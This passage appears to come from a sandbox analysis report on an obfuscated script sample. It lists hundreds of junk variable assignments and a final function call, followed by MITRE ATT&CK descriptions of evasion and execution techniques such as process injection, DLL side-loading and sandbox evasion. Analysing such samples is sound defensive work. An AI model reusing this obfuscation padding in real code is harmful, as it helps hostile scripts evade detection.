391	wvnotmzvz = "W";
392	wvnotmzvz = "I";
393	wvnotmzvz = "Y";
394	wvnotmzvz = "Z";
395	wvnotmzvz = "m";
396	wvnotmzvz = "v";
397	wvnotmzvz = "H";
398	wvnotmzvz = "V";
399	wvnotmzvz = "Q";
400	wvnotmzvz = "o";
401	wvnotmzvz = "g";
402	wvnotmzvz = "k";
403	wvnotmzvz = "r";
404	wvnotmzvz = "A";
405	wvnotmzvz = "\"";
406	yclyephw = "C";
407	yclyephw = "H";
408	yclyephw = "K";
409	yclyephw = "U";
410	yclyephw = "D";
411	yclyephw = "i";
412	yclyephw = "l";
413	yclyephw = "C";
414	yclyephw = "P";
415	yclyephw = "e";
416	yclyephw = "N";
417	yclyephw = "V";
418	yclyephw = "c";
419	yclyephw = "t";
420	yclyephw = "a";
421	yclyephw = "J";
422	yclyephw = "v";
423	yclyephw = "E";
424	yclyephw = "h";
425	yclyephw = "X";
426	yclyephw = "E";
427	yclyephw = "k";
428	yclyephw = "h";
429	yclyephw = "I";
430	yclyephw = "M";
431	yclyephw = "d";
432	yclyephw = "K";
433	yclyephw = "I";
434	yclyephw = "b";
435	yclyephw = "g";
436	yclyephw = "l";
437	yclyephw = "P";
438	yclyephw = "m";
439	yclyephw = "W";
440	yclyephw = "z";
441	yclyephw = "U";
442	yclyephw = "y";
443	yclyephw = "I";
444	yclyephw = "F";
445	yclyephw = "G";
446	yclyephw = "Q";
447	yclyephw = "e";
448	yclyephw = "q";
449	ptflixa = "m";
450	ptflixa = "z";
451	ptflixa = "y";
452	ptflixa = "r";
453	ptflixa = "I";
454	ptflixa = "t";
455	efyywr = "T";
456	efyywr = "j";
457	efyywr = "c";
458	efyywr = "B";
459	efyywr = "c";
460	efyywr = "x";
461	efyywr = "F";
462	efyywr = "p";
463	efyywr = "m";
464	efyywr = "r";
465	efyywr = "p";
466	efyywr = "c";
467	efyywr = "n";
468	efyywr = "T";
469	efyywr = "h";
470	nckacm = "M";
471	nckacm = "n";
472	nckacm = "B";
473	nckacm = "B";
474	nckacm = "s";
475	nckacm = "s";
476	nckacm = "q";
477	nckacm = "P";
478	nckacm = "o";
479	nckacm = "N";
480	nckacm = "B";
481	nckacm = "F";
482	nckacm = "Y";
483	nckacm = "t";
484	nckacm = "T";
485	nckacm = "E";
486	nckacm = "q";
487	nckacm = "v";
488	nckacm = "E";
489	nckacm = "O";
490	nckacm = "p";
491	nckacm = "l";
492	nckacm = "C";
493	nckacm = "M";
494	nckacm = "r";
495	nckacm = "E";
496	nckacm = "z";
497	nckacm = "E";
498	nckacm = "d";
499	nckacm = "B";
500	nckacm = "d";
501	nckacm = "k";
502	nckacm = "z";
503	nckacm = "i";
504	lmpxgjcm = "x";
505	lmpxgjcm = "N";
506	lmpxgjcm = "I";
507	lmpxgjcm = "C";
508	lmpxgjcm = "C";
509	lmpxgjcm = "p";
510	lmpxgjcm = "q";
511	lmpxgjcm = "A";
512	lmpxgjcm = "j";
513	lmpxgjcm = "X";
514	lmpxgjcm = "h";
515	lmpxgjcm = "W";
516	lmpxgjcm = "B";
517	lmpxgjcm = "X";
518	lmpxgjcm = "N";
519	lmpxgjcm = "m";
520	lmpxgjcm = "P";
521	lmpxgjcm = "S";
522	lmpxgjcm = "U";
523	lmpxgjcm = "R";
524	lmpxgjcm = "M";
525	lmpxgjcm = "T";
526	lmpxgjcm = "Y";
527	lmpxgjcm = "Q";
528	lmpxgjcm = "F";
529	lmpxgjcm = "w";
530	lmpxgjcm = "R";
531	lmpxgjcm = "n";
532	lmpxgjcm = "D";
533	lmpxgjcm = "s";
534	lmpxgjcm = "w";
535	lmpxgjcm = "g";
536	lmpxgjcm = "W";
537	lmpxgjcm = "h";
538	lmpxgjcm = "T";
539	lmpxgjcm = "Y";
540	lmpxgjcm = "g";
541	lmpxgjcm = "s";
542	lmpxgjcm = "R";
543	lmpxgjcm = "W";
544	lmpxgjcm = "H";
545	lmpxgjcm = "l";
546	lmpxgjcm = "n";
547	lmpxgjcm = ":";
548	jptwnnetk = "o";
549	jptwnnetk = "X";
550	jptwnnetk = "A";
551	jptwnnetk = "a";
552	jptwnnetk = "y";
553	jptwnnetk = "u";
554	jptwnnetk = "A";
555	jptwnnetk = "l";
556	jptwnnetk = "w";
557	jptwnnetk = "R";
558	jptwnnetk = "r";
559	jptwnnetk = "r";
560	jptwnnetk = "J";
561	jptwnnetk = "s";
562	jptwnnetk = "f";
563	jptwnnetk = "l";
564	jptwnnetk = "w";
565	jptwnnetk = "d";
566	lpntg = "K";
567	lpntg = "v";
568	lpntg = "Z";
569	lpntg = "D";
570	lpntg = "S";
571	lpntg = "e";
572	lpntg = "U";
573	lpntg = "S";
574	lpntg = "y";
575	lpntg = "c";
576	lpntg = "k";
577	lpntg = "j";
578	lpntg = "h";
579	lpntg = "w";
580	lpntg = "M";
581	lpntg = "i";
582	lpntg = "B";
583	lpntg = "y";
584	lpntg = "t";
585	lpntg = "e";
586	lpntg = "k";
587	lpntg = "e";
588	lpntg = "J";
589	lpntg = "v";
590	lpntg = "D";
591	lpntg = "S";
592	lpntg = "D";
593	lpntg = "u";
594	lpntg = "e";
595	lpntg = "i";
596	lpntg = "z";
597	lpntg = "S";
598	lpntg = "K";
599	lpntg = "b";
600	lpntg = "G";
601	lpntg = "s";
602	lpntg = "l";
603	lpntg = "m";
604	lpntg = "M";
605	lpntg = "f";
606	lpntg = "I";
607	lpntg = "j";
608	lpntg = "F";
609	efirkar = "M";
610	efirkar = "N";
611	efirkar = "L";
612	efirkar = "o";
613	efirkar = "W";
614	txzta = "D";
615	txzta = "j";
616	txzta = "d";
617	txzta = "A";
618	txzta = "u";
619	txzta = "f";
620	txzta = "m";
621	txzta = "H";
622	txzta = "i";
623	txzta = "t";
624	txzta = "c";
625	txzta = "i";
626	txzta = "Z";
627	txzta = "X";
628	txzta = "b";
629	txzta = "a";
630	txzta = "t";
631	txzta = "K";
632	txzta = "K";
633	txzta = "X";
634	txzta = "a";
635	txzta = "m";
636	txzta = "z";
637	txzta = "e";
638	cvqpmejb = "s";
639	cvqpmejb = "Q";
640	cvqpmejb = "I";
641	cvqpmejb = "D";
642	cvqpmejb = "X";
643	cvqpmejb = "r";
644	cvqpmejb = "X";
645	cvqpmejb = "F";
646	cvqpmejb = "j";
647	cvqpmejb = "t";
648	cvqpmejb = "U";
649	cvqpmejb = "g";
650	cvqpmejb = "n";
651	cvqpmejb = "K";
652	cvqpmejb = "c";
653	cvqpmejb = "N";
654	cvqpmejb = "J";
655	cvqpmejb = "I";
656	cvqpmejb = "v";
657	cvqpmejb = "I";
658	cvqpmejb = "H";
659	cvqpmejb = "X";
660	cvqpmejb = "r";
661	cvqpmejb = "Y";
662	cvqpmejb = "V";
663	cvqpmejb = "S";
664	cvqpmejb = "I";
665	uafsl = "l";
666	ibjfwskcq = "k";
667	ibjfwskcq = "j";
668	ibjfwskcq = "L";
669	ibjfwskcq = "u";
670	ibjfwskcq = "p";
671	ibjfwskcq = "H";
672	ibjfwskcq = "d";
673	ibjfwskcq = "p";
674	ibjfwskcq = "Z";
675	ibjfwskcq = "n";
676	ibjfwskcq = "K";
677	ibjfwskcq = "o";
678	ibjfwskcq = "K";
679	ibjfwskcq = "p";
680	ibjfwskcq = "H";
681	ibjfwskcq = "x";
682	ibjfwskcq = "t";
683	ibjfwskcq = "R";
684	ibjfwskcq = "d";
685	ibjfwskcq = "s";
686	ibjfwskcq = "r";
687	ibjfwskcq = "u";
688	ibjfwskcq = "X";
689	ibjfwskcq = "H";
690	ibjfwskcq = "l";
691	ibjfwskcq = "0";
692	accpaojej = "W";
693	accpaojej = "l";
694	accpaojej = "A";
695	accpaojej = "a";
696	accpaojej = "C";
697	accpaojej = "P";
698	accpaojej = "n";
699	accpaojej = "q";
700	accpaojej = "P";
701	accpaojej = "D";
702	accpaojej = "i";
703	accpaojej = "W";
704	accpaojej = "S";
705	accpaojej = "I";
706	accpaojej = "y";
707	accpaojej = "W";
708	accpaojej = "H";
709	accpaojej = "w";
710	accpaojej = "h";
711	accpaojej = "K";
712	accpaojej = "w";
713	accpaojej = "V";
714	accpaojej = "c";
715	xuyrcex = "t";
716	xuyrcex = "Y";
717	xuyrcex = "d";
718	xuyrcex = "i";
719	xuyrcex = "Y";
720	xvyczx = "W";
721	xvyczx = "U";
722	xvyczx = "y";
723	xvyczx = "e";
724	xvyczx = "B";
725	xvyczx = "m";
726	xvyczx = "x";
727	xvyczx = "e";
728	xvyczx = "c";
729	xvyczx = "W";
730	xvyczx = "c";
731	xvyczx = "n";
732	xvyczx = "v";
733	xvyczx = "v";
734	xvyczx = "N";
735	xvyczx = "K";
736	xvyczx = "c";
737	xvyczx = "E";
738	xvyczx = "h";
739	xvyczx = "t";
740	xvyczx = "q";
741	xvyczx = "H";
742	xvyczx = "C";
743	xvyczx = "r";
744	avfchgon = "L";
745	avfchgon = "a";
746	avfchgon = "T";
747	avfchgon = "z";
748	avfchgon = "B";
749	avfchgon = "g";
750	avfchgon = "Z";
751	avfchgon = "Y";
752	avfchgon = "m";
753	avfchgon = "d";
754	avfchgon = "b";
755	avfchgon = "d";
756	avfchgon = "H";
757	avfchgon = "t";
758	avfchgon = "l";
759	avfchgon = "W";
760	avfchgon = "L";
761	avfchgon = "S";
762	avfchgon = "z";
763	avfchgon = "f";
764	avfchgon = "A";
765	avfchgon = "k";
766	avfchgon = "w";
767	avfchgon = "T";
768	avfchgon = "A";
769	avfchgon = "m";
770	avfchgon = "p";
771	avfchgon = "H";
772	avfchgon = "X";
773	avfchgon = "D";
774	avfchgon = "I";
775	avfchgon = "B";
776	avfchgon = "n";
777	avfchgon = "X";
778	avfchgon = "G";
779	avfchgon = "y";
780	avfchgon = "t";
781	avfchgon = "M";
782	avfchgon = "K";
783	avfchgon = "W";
784	avfchgon = "I";
785	avfchgon = "B";
786	avfchgon = "v";
787	avfchgon = "p";
788	avfchgon = "R";
789	xcbrpbbhb = "O";
790	xcbrpbbhb = "g";
791	xcbrpbbhb = "U";
792	xcbrpbbhb = "U";
793	xcbrpbbhb = "H";
794	xcbrpbbhb = "F";
795	xcbrpbbhb = "m";
796	xcbrpbbhb = "F";
797	xcbrpbbhb = "s";
798	xcbrpbbhb = "n";
799	xcbrpbbhb = "n";
800	xcbrpbbhb = "b";
801	xcbrpbbhb = "t";
802	xcbrpbbhb = "w";
803	xcbrpbbhb = "k";
804	xcbrpbbhb = "F";
805	xcbrpbbhb = "C";
806	xcbrpbbhb = "c";
807	xcbrpbbhb = "A";
808	xcbrpbbhb = "y";
809	xcbrpbbhb = "q";
810	xcbrpbbhb = "q";
811	xcbrpbbhb = "P";
812	xcbrpbbhb = "j";
813	xcbrpbbhb = "b";
814	xcbrpbbhb = "U";
815	xcbrpbbhb = "Q";
816	xcbrpbbhb = "u";
817	qqbogs = "G";
818	qqbogs = "Y";
819	qqbogs = "t";
820	qqbogs = "z";
821	qqbogs = "D";
822	qqbogs = "g";
823	qqbogs = "y";
824	qqbogs = "h";
825	qqbogs = "N";
826	qqbogs = "C";
827	qqbogs = "o";
828	qqbogs = "L";
829	bsapkj = "K";
830	bsapkj = "a";
831	bsapkj = "j";
832	bsapkj = "T";
833	bsapkj = "K";
834	bsapkj = "u";
835	bsapkj = "R";
836	bsapkj = "h";
837	bsapkj = "i";
838	bsapkj = "h";
839	bsapkj = "r";
840	bsapkj = "P";
841	bsapkj = "C";
842	bsapkj = "F";
843	bsapkj = "g";
844	bsapkj = "Y";
845	bsapkj = "X";
846	bsapkj = "m";
847	bsapkj = "t";
848	bsapkj = "L";
849	bsapkj = "k";
850	bsapkj = "M";
851	bsapkj = "J";
852	bsapkj = "i";
853	bsapkj = "a";
854	bsapkj = "I";
855	bsapkj = "h";
856	bsapkj = "f";
857	bsapkj = "T";
858	bsapkj = "j";
859	bsapkj = "V";
860	bsapkj = "Z";
861	bsapkj = "T";
862	bsapkj = "a";
863	bsapkj = "F";
864	bsapkj = "o";
865	bsapkj = "N";
866	bsapkj = "C";
867	bsapkj = "m";
868	bsapkj = "M";
869	bsapkj = "q";
870	bsapkj = "N";
871	lihdiwfl = "2";
872	mnrucrbcr = "h";
873	mnrucrbcr = "c";
874	mnrucrbcr = "F";
875	mnrucrbcr = "U";
876	mnrucrbcr = "G";
877	mnrucrbcr = "i";
878	mnrucrbcr = "L";
879	mnrucrbcr = "x";
880	mnrucrbcr = "s";
881	mnrucrbcr = "t";
882	mnrucrbcr = "G";
883	mnrucrbcr = "b";
884	mnrucrbcr = "n";
885	mnrucrbcr = "L";
886	mnrucrbcr = "U";
887	mnrucrbcr = "X";
888	mnrucrbcr = "z";
889	mnrucrbcr = "q";
890	mnrucrbcr = "d";
891	mnrucrbcr = "n";
892	mnrucrbcr = "d";
893	mnrucrbcr = "S";
894	mnrucrbcr = "c";
895	mnrucrbcr = "j";
896	mnrucrbcr = "k";
897	mnrucrbcr = "o";
898	mnrucrbcr = "l";
899	mnrucrbcr = "u";
900	mnrucrbcr = "S";
901	mnrucrbcr = "K";
902	mnrucrbcr = "f";
903	mnrucrbcr = "C";
904	mnrucrbcr = "I";
905	mnrucrbcr = "R";
906	mnrucrbcr = "l";
907	mnrucrbcr = "q";
908	mnrucrbcr = "E";
909	mnrucrbcr = "a";
910	mnrucrbcr = "x";
911	mnrucrbcr = "v";
912	mnrucrbcr = "I";
913	mnrucrbcr = "E";
914	mnrucrbcr = "R";
915	mnrucrbcr = "/";
916	loqiq = "P";
917	loqiq = "q";
918	loqiq = "G";
919	loqiq = "y";
920	loqiq = "v";
921	gsjpsczi = "o";
922	gsjpsczi = "z";
923	gsjpsczi = "W";
924	gsjpsczi = "M";
925	gsjpsczi = "E";
926	gsjpsczi = "x";
927	gsjpsczi = "T";
928	gsjpsczi = "W";
929	gsjpsczi = "x";
930	gsjpsczi = "j";
931	gsjpsczi = "p";
932	gsjpsczi = "T";
933	gsjpsczi = "I";
934	gsjpsczi = "R";
935	gsjpsczi = "h";
936	gsjpsczi = "I";
937	gsjpsczi = "b";
938	gsjpsczi = "s";
939	knzeez = "f";
940	knzeez = "x";
941	knzeez = "a";
942	knzeez = "q";
943	knzeez = "R";
944	knzeez = "w";
945	knzeez = "a";
946	knzeez = "z";
947	knzeez = "R";
948	knzeez = "b";
949	knzeez = "h";
950	knzeez = "r";
951	knzeez = "U";
952	vvoddaxoq = "M";
953	vvoddaxoq = "D";
954	vvoddaxoq = "L";
955	vvoddaxoq = "H";
956	vvoddaxoq = "Y";
957	vvoddaxoq = "I";
958	vvoddaxoq = "z";
959	vvoddaxoq = "E";
960	vvoddaxoq = "N";
961	vvoddaxoq = " ";
962	nnjns = "g";
963	nnjns = "m";
964	nnjns = "w";
965	nnjns = "t";
966	nnjns = "l";
967	nnjns = "I";
968	nnjns = "W";
969	nnjns = "Z";
970	nnjns = "w";
971	nnjns = "K";
972	nnjns = "U";
973	nnjns = "c";
974	nnjns = "Y";
975	nnjns = "s";
976	nnjns = "z";
977	nnjns = "o";
978	nnjns = "D";
979	nnjns = "Q";
980	nnjns = "I";
981	nnjns = "X";
982	nnjns = "A";
983	nnjns = "j";
984	nnjns = "m";
985	vauzpalg = "S";
986	vauzpalg = "o";
987	vauzpalg = "P";
988	vauzpalg = "K";
989	vauzpalg = "b";
990	vauzpalg = "U";
991	vauzpalg = "G";
992	vauzpalg = "b";
993	vauzpalg = "E";
994	vauzpalg = "G";
995	vauzpalg = "a";
996	vauzpalg = "W";
997	vauzpalg = "S";
998	vauzpalg = "X";
999	vauzpalg = "Q";
1000	knobusxtn = "M";
1001	knobusxtn = "i";
1002	knobusxtn = "W";
1003	knobusxtn = "G";
1004	knobusxtn = "r";
1005	knobusxtn = "p";
1006	knobusxtn = "F";
1007	knobusxtn = "v";
1008	knobusxtn = "j";
1009	knobusxtn = "Q";
1010	knobusxtn = "I";
1011	knobusxtn = "X";
1012	knobusxtn = ".";
1013	eavrh = "W";
1014	eavrh = "v";
1015	eavrh = "J";
1016	eavrh = "k";
1017	eavrh = "R";
1018	eavrh = "T";
1019	eavrh = "j";
1020	eavrh = "g";
1021	eavrh = "T";
1022	eavrh = "N";
1023	eavrh = "r";
1024	eavrh = "t";
1025	eavrh = "A";
1026	eavrh = "s";
1027	eavrh = "l";
1028	eavrh = "V";
1029	eavrh = "r";
1030	eavrh = "q";
1031	eavrh = "f";
1032	mvpcmidu = "c";
1033	mvpcmidu = "P";
1034	mvpcmidu = "G";
1035	mvpcmidu = "x";
1036	mvpcmidu = "V";
1037	mvpcmidu = "P";
1038	mvpcmidu = "r";
1039	mvpcmidu = "y";
1040	mvpcmidu = "A";
1041	mvpcmidu = "H";
1042	mvpcmidu = "G";
1043	mvpcmidu = "v";
1044	mvpcmidu = "m";
1045	mvpcmidu = "y";
1046	mvpcmidu = "X";
1047	mvpcmidu = "D";
1048	mvpcmidu = "i";
1049	mvpcmidu = "f";
1050	mvpcmidu = "l";
1051	mvpcmidu = "y";
1052	mvpcmidu = "O";
1053	mvpcmidu = "J";
1054	mvpcmidu = "e";
1055	mvpcmidu = "D";
1056	mvpcmidu = "B";
1057	mvpcmidu = "y";
1058	mvpcmidu = "e";
1059	mvpcmidu = "w";
1060	mvpcmidu = "Z";
1061	mvpcmidu = "p";
1062	mvpcmidu = "e";
1063	mvpcmidu = "g";
1064	mvpcmidu = "T";
1065	mvpcmidu = "I";
1066	mvpcmidu = "u";
1067	mvpcmidu = "m";
1068	mvpcmidu = "v";
1069	mvpcmidu = "a";
1070	mvpcmidu = "U";
1071	mvpcmidu = "r";
1072	mvpcmidu = "j";
1073	mvpcmidu = "Y";
1074	mvpcmidu = "U";
1075	mvpcmidu = "i";
1076	mvpcmidu = "j";
1077	fpwqt = "l";
1078	fpwqt = "K";
1079	fpwqt = "l";
1080	fpwqt = "u";
1081	fpwqt = "x";
1082	fpwqt = "H";
1083	fpwqt = "Q";
1084	fpwqt = "M";
1085	fpwqt = "A";
1086	fpwqt = "L";
1087	fpwqt = "w";
1088	fpwqt = "r";
1089	fpwqt = "k";
1090	fpwqt = "n";
1091	fpwqt = "J";
1092	fpwqt = "r";
1093	fpwqt = "X";
1094	fpwqt = "l";
1095	fpwqt = "M";
1096	fpwqt = "u";
1097	fpwqt = "O";
1098	fpwqt = "Q";
1099	fpwqt = "M";
1100	fpwqt = "I";
1101	fpwqt = "p";
1102	fpwqt = "u";
1103	fpwqt = "d";
1104	fpwqt = "U";
1105	fpwqt = "D";
1106	fpwqt = "Q";
1107	fpwqt = "E";
1108	fpwqt = "p";
1109	fpwqt = "u";
1110	fpwqt = "H";
1111	fpwqt = "u";
1112	fpwqt = "m";
1113	fpwqt = "B";
1114	fpwqt = "t";
1115	fpwqt = "i";
1116	fpwqt = "D";
1117	fpwqt = "n";
1118	fpwqt = "N";
1119	fpwqt = "E";
1120	fpwqt = "b";
1121	fpwqt = "g";
1122	xprsx = "f";
1123	xprsx = "a";
1124	xprsx = "V";
1125	xprsx = "u";
1126	xprsx = "h";
1127	xprsx = "G";
1128	xprsx = "o";
1129	xprsx = "H";
1130	xprsx = "T";
1131	xprsx = "E";
1132	xprsx = "e";
1133	xprsx = "m";
1134	xprsx = "n";
1135	xprsx = "G";
1136	xprsx = "o";
1137	xprsx = "l";
1138	xprsx = "C";
1139	xprsx = "W";
1140	xprsx = "X";
1141	xprsx = "A";
1142	xprsx = "n";
1143	xprsx = "c";
1144	xprsx = "Q";
1145	xprsx = "L";
1146	xprsx = "t";
1147	xprsx = "V";
1148	xprsx = "n";
1149	xprsx = "p";
1150	xprsx = "I";
1151	xprsx = "A";
1152	xprsx = "A";
1153	xprsx = "C";
1154	xprsx = "b";
1155	xprsx = "4";
1156	uqzqu = "G";
1157	uqzqu = "P";
1158	uqzqu = "U";
1159	uqzqu = "z";
1160	uqzqu = "w";
1161	uqzqu = "V";
1162	uqzqu = "B";
1163	uqzqu = "z";
1164	uqzqu = "D";
1165	uqzqu = "o";
1166	uqzqu = "f";
1167	uqzqu = "E";
1168	uqzqu = "J";
1169	uqzqu = "a";
1170	uqzqu = "i";
1171	uqzqu = "Z";
1172	uqzqu = "f";
1173	uqzqu = "A";
1174	uqzqu = "V";
1175	uqzqu = "e";
1176	uqzqu = "N";
1177	uqzqu = "a";
1178	uqzqu = "s";
1179	uqzqu = "L";
1180	uqzqu = "p";
1181	uqzqu = "v";
1182	uqzqu = "o";
1183	uqzqu = "i";
1184	uqzqu = "J";
1185	uqzqu = "j";
1186	uqzqu = "Q";
1187	uqzqu = "e";
1188	uqzqu = "u";
1189	uqzqu = "f";
1190	uqzqu = "h";
1191	uqzqu = "c";
1192	uqzqu = "V";
1193	uqzqu = "B";
1194	uqzqu = "H";
1195	uqzqu = "w";
1196	uqzqu = "M";
1197	uqzqu = "%";
1198	cicahetfh = "K";
1199	cicahetfh = "u";
1200	cicahetfh = "d";
1201	cicahetfh = "G";
1202	cicahetfh = "w";
1203	cicahetfh = "H";
1204	cicahetfh = "F";
1205	cicahetfh = "L";
1206	cicahetfh = "S";
1207	cicahetfh = "r";
1208	cicahetfh = "S";
1209	cicahetfh = "X";
1210	cicahetfh = "u";
1211	cicahetfh = "l";
1212	cicahetfh = "V";
1213	cicahetfh = "F";
1214	cicahetfh = "h";
1215	cicahetfh = "Z";
1216	cicahetfh = "n";
1217	cicahetfh = "E";
1218	cicahetfh = "g";
1219	cicahetfh = "h";
1220	cicahetfh = "S";
1221	cicahetfh = "q";
1222	cicahetfh = "p";
1223	cicahetfh = "x";
1224	cicahetfh = "m";
1225	cicahetfh = "T";
1226	cicahetfh = "R";
1227	cicahetfh = "n";
1228	cicahetfh = "R";
1229	cicahetfh = "b";
1230	cicahetfh = "o";
1231	cicahetfh = "E";
1232	nvmdnxjwd = "y";
1233	nvmdnxjwd = "W";
1234	nvmdnxjwd = "s";
1235	nvmdnxjwd = "B";
1236	nvmdnxjwd = "v";
1237	nvmdnxjwd = "u";
1238	nvmdnxjwd = "i";
1239	nvmdnxjwd = "s";
1240	nvmdnxjwd = "y";
1241	nvmdnxjwd = "X";
1242	nvmdnxjwd = "m";
1243	nvmdnxjwd = "a";
1244	nvmdnxjwd = "J";
1245	nvmdnxjwd = "w";
1246	nvmdnxjwd = "M";
1247	nvmdnxjwd = "P";
1248	nvmdnxjwd = "C";
1249	nvmdnxjwd = "\\";
1250	nyirow = "@";
1251	bybfe = "l";
1252	bybfe = "T";
1253	bybfe = "P";
1254	bybfe = "S";
1255	bybfe = "B";
1256	bybfe = "w";
1257	bybfe = "A";
1258	bybfe = "b";
1259	bybfe = "N";
1260	bybfe = "s";
1261	bybfe = "S";
1262	bybfe = "E";
1263	bybfe = "l";
1264	bybfe = "E";
1265	bybfe = "e";
1266	bybfe = "C";
1267	bybfe = "i";
1268	bybfe = "z";
1269	bybfe = "P";
1270	bybfe = "S";
1271	bybfe = "x";
1272	bybfe = "O";
1273	bybfe = "u";
1274	bybfe = "z";
1275	bybfe = "t";
1276	bybfe = "e";
1277	bybfe = "k";
1278	bybfe = "g";
1279	bybfe = "Y";
1280	bybfe = "s";
1281	bybfe = "f";
1282	bybfe = "E";
1283	bybfe = "P";
1284	bybfe = "p";
1285	zwaozpyox = "z";
1286	zwaozpyox = "-";
1287	rmqqqbvfd = "E";
1288	rmqqqbvfd = "U";
1289	rmqqqbvfd = "N";
1290	rmqqqbvfd = "n";
1291	rmqqqbvfd = "P";
1292	rmqqqbvfd = "l";
1293	rmqqqbvfd = "s";
1294	rmqqqbvfd = "l";
1295	rmqqqbvfd = "p";
1296	rmqqqbvfd = "g";
1297	rmqqqbvfd = "M";
1298	rmqqqbvfd = "m";
1299	rmqqqbvfd = "P";
1300	rmqqqbvfd = "V";
1301	rmqqqbvfd = "k";
1302	rmqqqbvfd = "R";
1303	rmqqqbvfd = "O";
1304	rmqqqbvfd = "a";
1305	rmqqqbvfd = "P";
1306	rmqqqbvfd = "a";
1307	rmqqqbvfd = "t";
1308	rmqqqbvfd = "y";
1309	rmqqqbvfd = "D";
1310	rmqqqbvfd = "a";
1311	rmqqqbvfd = "c";
1312	rmqqqbvfd = "W";
1313	rmqqqbvfd = "g";
1314	rmqqqbvfd = "L";
1315	rmqqqbvfd = "G";
1316	rmqqqbvfd = "&";
1317	jgdhjrh = "K";
1318	jgdhjrh = "O";
1319	jgdhjrh = "V";
1320	jgdhjrh = "b";
1321	jgdhjrh = "G";
1322	jgdhjrh = "a";
1323	tluddld = "V";
1324	tluddld = "s";
1325	tluddld = "m";
1326	tluddld = "t";
1327	tluddld = "3";
1328	doufecdyj ( );	doufecdyj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
